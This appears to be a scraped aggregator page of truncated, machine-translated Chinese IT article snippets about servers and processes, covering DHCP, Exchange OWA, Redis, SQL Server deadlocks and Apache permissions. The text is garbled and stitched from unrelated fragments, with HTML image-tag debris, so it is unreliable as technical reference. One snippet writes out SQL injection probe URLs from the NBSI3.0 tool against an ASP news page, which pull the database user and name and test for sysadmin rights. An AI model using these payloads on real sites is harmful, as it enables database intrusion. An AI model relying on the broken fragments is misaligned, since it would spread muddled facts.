process server toolbox

the WHERE clause does not optimize the query result without indexing . Then, you can only pass the index method.Attempt to build an indexIndexing is not a simple thing, it is necessary to understand some basic knowledge, in this process, I took a lot of detours, and finally set up the index. The following experiment is based on the validation of the following total number of records: Index by a single fieldThe idea, mostly influenced by my building d

650) this.width=650; "src=" Http://si1.go2yd.com/get-image/0BKiERm87Ie "style=" border:0px;margin:20px 0px; "alt=" 0bkierm87ie "/>Author | Hazbund Source | Freebuf0x00 PrefaceThe story is this, Lunar New Year, customer response to their server can not access, view the route, found that a ORACLE+TOMCAT server UDP traffic oversized, the bandwidth accounted for, the new Year, the customer first found the local

650) this.width=650; "src=" Http://s5.51cto.com/wyfs02/M02/78/3B/wKioL1Z4sNyR1HHTAALGkOT_xTQ973.jpg "title=" B85e62c678b4a8859b03671be2e6a1bf_b.jpg "alt=" Wkiol1z4snyr1hhtaalgkot_xtq973.jpg "/>This once was the answer to the Internet in the TCP socket server implementation process need to consider what security issues-Auxten's answerRecently, I have been asked questions about the issue, in the column replac

A few days ago, the company's overseas site Exchange Sever 2013 a problem, Outlook users can connect to the Exchang server to send and receive mail, Offline address Book, ActiveSync, and so are normal, but only through the Web Access to OWA and ECP , enter the username and password, click Login to verify the user name password, start to jump to the mailbox will be clearly seen in the process of opening your

Previously, we described the installation process of the DHCP server. The next step is to parse the content of the DHCP server. After installing the DHCP service, you must first add an authorized DHCP server and add a scope to the server to set the corresponding IP address r

A connection was successfully made to the server, but an incorrect solution occurred during the logon process Prompt when a database is opened A connection was made to the server successfully, but the solution occurred during the logon process (provider: Shared Memory provider, error:0-no

: This article mainly introduces the enhanced version of the communication process design between the mobile terminal and the PHP server interface. if you are interested in the PHP Tutorial, refer to it. As mentioned earlier: design of communication process between mobile and PHP Server interfaces (Basic edition) The

changing at any time.5. the business logic of stealth and blacklist is difficult to efficiently process. The process for openfire server to process presence is as follows, which is subject to 3.6.0. 1. connectionhandler. messagereceived ();Mina-level processing. 2. stanzahander.

Overview: First of all, I will briefly describe my understanding of message pushing. Here I will take QQ as an example. When QQ is offline on our mobile phone and we quit the QQ application, however, if someone sends us a message at this time, we are not online. The server will push the information sent by the sender, and then we will release a notification to display the notification to our users. Principles: Based on the above overview,

Label:Problem Description: Project feedback The response of one of the server business operations to the application payload is very slow, and logging on to the server finds that the W3WP process CPU continues to exceed 90%, even during low peak business periods. Remote view found that the application server hosting th

Moving a virtual machine from one Microsoft Hyper-V host to another is not shocking news, but did you do it? Microsoft Server 2012 and R2 can easily implement this migration process through the graphical Hyper-V Manager. If you want to speed up the migration process like I do-even automating the process--powershell can

Reproduced in: http://www.itxuexiwang.com/a/shujukujishu/redis/2016/0216/127.html?1455808771This article will describe the startup process of Redis by analyzing the code, and by looking at the startup script of Redis, we learned that Redis started from the main method of REDIS.C. Redis boot can be divided into the following steps:1. Initializing the REDIS server global configuration2. Reset the

Tags: deadlock lock server Cat manual database a process ID modificationBack up before modifying or deleting data, back up first, back up (important things say three times)! 1, first, look at the thread, analyze whether there is a blocking process, blocked>0 are currently blocked processesSELECT * from sysprocesses where blocked >0 order by blocked; 2. After loca

SQL Server---process deadlock aviraRecently, in a college evaluation system encountered such a situation, when the number of computer rooms reached the ceiling, the evaluation process encountered a situation can not be submitted. After encountering the problem people first discovered is because of the deadlock caused, so found some information on the Internet to

*%20from%20sysobjects)News_show.asp?id=15618%20and%20char (124)%2buser%2bchar (124) =0news_show.asp?id=15618;declare%20@a%20int–News_show.asp?id=15618%20and%20char (124)%2bdb_name ()%2bchar (124) =0News_show.asp?id=15618%20and%20is_srvrolemember (0x730079007300610064006d0069006e00) =1 The following are the NBSI3.0 HTTP packets:News_show.asp?id=15618%20and%20user%2bchar (124) =0News_show.asp?id=15618%20and%20system_user%2bchar (124) =0News_show.asp?id=15618%20and%20cast (Is_srvrolemember (0x7300

Process of IIS Server Based on ASP. NET execution model, asp. netiis I have read a lot about this on the Internet before, but I personally think it is too "esoteric" and not easy to understand. So I want to describe it in a simpler way to facilitate understanding. This time, we will focus on analyzing the presentation process of user requests to the page.Web

Are you struggling to optimize your SQL Server database? If your database contains many very large tables, the partition function can help you a lot ...... [IT expert network exclusive] Are you also struggling to optimize your SQL Server database? If your database contains many very large tables, the partition function can help you a lot, because it can split these large tables into independent file group

the modification is as follows:"Options Indexes followsymlinks multiviews"5. When executing the script, show no access Denied!Here are the instructions to modify the file permissions in the terminal!/*** View file access permissions in the current folder*/$ ls-la$ chmod 644 info.php (file name with no permissions)$ chmod 644 * *The brief steps are as follows:Server Configuration steps:1> opening the server configuration directorycd/etc/apache2/2> vie

First, glances:glances is a very good cross-platform performance monitoring tool that provides CPU, CPU queue, memory, virtual memory, network, I/O, and the list of processes that most occupy the server's resources.Indicator monitoring information, and at run time depending on the resource usage of different color labeling its importance, very intuitive, the following are in use:Second, glances installation:Glances installation is relatively simple and convenient, because glances is written by P

3550 Configuration of DHCP, the network has many discussions, but most of the existence of errors and omissions, according to the configuration of the online introduction of "IP helper-address DHCP server address", the project found that the client can not obtain the IP address from the DHCP server, I also recently configured 3550 as a relay agent for the DHCP server